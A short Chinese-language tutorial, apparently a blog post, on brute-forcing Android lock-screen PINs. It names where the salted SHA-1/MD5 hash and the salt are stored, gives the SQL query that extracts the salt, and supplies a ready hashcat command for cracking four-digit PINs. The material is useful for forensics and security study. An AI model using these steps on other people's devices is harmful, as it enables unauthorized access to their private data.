JellyBean开始,Android的锁屏口令以hash形式存放,口令通常是4位数字(对于多位复杂口令方法也是一样的),暴力破解完全可行
锁屏口令的hash存放在/data/system/password.key,形如
1136656D5C6718C1DEFC71B431B2CB5652A8AD550E20BDCF52B00002C8DF35C963B71298
共72个字符,包含Sha1和MD5两个hash,参考Android源码
1 2 3 4 |
byte[] saltedPassword = (password + getSalt()).getBytes(); byte[] sha1 = MessageDigest.getInstance(algo = “SHA-1”).digest(saltedPassword); byte[] md5 = MessageDigest.getInstance(algo = “MD5”).digest(saltedPassword); hashed = (toHex(sha1) + toHex(md5)).getBytes(); |
前40位是Sha1,后32位是MD5,计算(口令+salt)得到hash
salt的存放位置为/data/system/locksettings.db,使用sqlite3打开数据库,输入
1 |
select value from locksettings where name='lockscreen.password_salt' |
就得到形如3582477098377895419的salt值了,最后将其转化为小写的16进制64位整数31b783f0b0c95dfb
有了这些信息用就可以用hashcat跑了,用MD5部分(0E20BDCF52B00002C8DF35C963B71298)爆破的指令为
1 |
cudaHashcat64.exe -m 10 0E20BDCF52B00002C8DF35C963B71298:31b783f0b0c95dfb -a 3 ?d?d?d?d |